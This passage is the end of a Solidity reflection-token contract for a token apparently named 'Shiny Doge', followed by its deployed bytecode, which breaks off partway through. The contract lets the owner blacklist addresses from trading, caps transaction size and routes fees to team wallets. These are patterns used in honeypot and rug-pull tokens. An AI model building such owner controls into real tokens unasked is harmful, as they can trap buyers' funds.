address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280600a81526020017f5368696e7920446f676500000000000000000000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d3160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a39092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612363565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245e565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5344efb88f000000000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124e2565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea000006127cc90919063ffffffff16565b61285290919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613da76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cee6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d826025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613ca16023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d596029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121e057601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b156121de576121c4816124e2565b600047905060008111156121dc576121db47612363565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561229157600090505b61229d8484848461289c565b50505050565b6000838311158290612350576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123155780820151818401526020810190506122fa565b50505050905090810190601f1680156123425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123b360028461285290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123de573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61242f60028461285290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561245a573d6000803e3d6000fd5b5050565b6000600a548211156124bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cc4602a913960400191505060405180910390fd5b60006124c5612af3565b90506124da818461285290919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561251757600080fd5b506040519080825280602002602001820160405280156125465781602001602082028036833780820191505090505b509050308160008151811061255757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125f957600080fd5b505afa15801561260d573d6000803e3d6000fd5b505050506040513d602081101561262357600080fd5b81019080805190602001909291905050508160018151811061264157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126a830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561276c578082015181840152602081019050612751565b505050509050019650505050505050600060405180830381600087803b15801561279557600080fd5b505af11580156127a9573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127df576000905061284c565b60008284029050828482816127f057fe5b0414612847576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d106021913960400191505060405180910390fd5b809150505b92915050565b600061289483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b1e565b905092915050565b806128aa576128a9612be4565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561294d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129625761295d848484612c27565b612adf565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a1a57612a15848484612e87565b612ade565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612abc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ad157612acc8484846130e7565b612add565b612adc8484846133dc565b5b5b5b80612aed57612aec6135a7565b5b50505050565b6000806000612b006135bb565b91509150612b17818361285290919063ffffffff16565b9250505090565b60008083118290612bca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b8f578082015181840152602081019050612b74565b50505050905090810190601f168015612bbc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bd657fe5b049050809150509392505050565b6000600c54148015612bf857506000600d54145b15612c0257612c25565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c3987613868565b955095509550955095509550612c9787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e0d816139a2565b612e178483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e9987613868565b955095509550955095509550612ef786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f8c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061302185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306d816139a2565b6130778483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130f987613868565b95509550955095509550955061315787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131ec86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061328183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061331685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613362816139a2565b61336c8483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133ee87613868565b95509550955095509550955061344c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134e185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061352d816139a2565b6135378483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561381d578260026000600984815481106135f557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136dc575081600360006009848154811061367457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136fa57600a54683635c9adc5dea0000094509450505050613864565b613783600260006009848154811061370e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138d090919063ffffffff16565b925061380e600360006009848154811061379957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138d090919063ffffffff16565b915080806001019150506135d6565b5061383c683635c9adc5dea00000600a5461285290919063ffffffff16565b82101561385b57600a54683635c9adc5dea00000935093505050613864565b81819350935050505b9091565b60008060008060008060008060006138858a600c54600d54613b81565b9250925092506000613895612af3565b905060008060006138a88e878787613c17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061391283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122a3565b905092915050565b600080828401905083811015613998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139ac612af3565b905060006139c382846127cc90919063ffffffff16565b9050613a1781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b4257613afe83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffff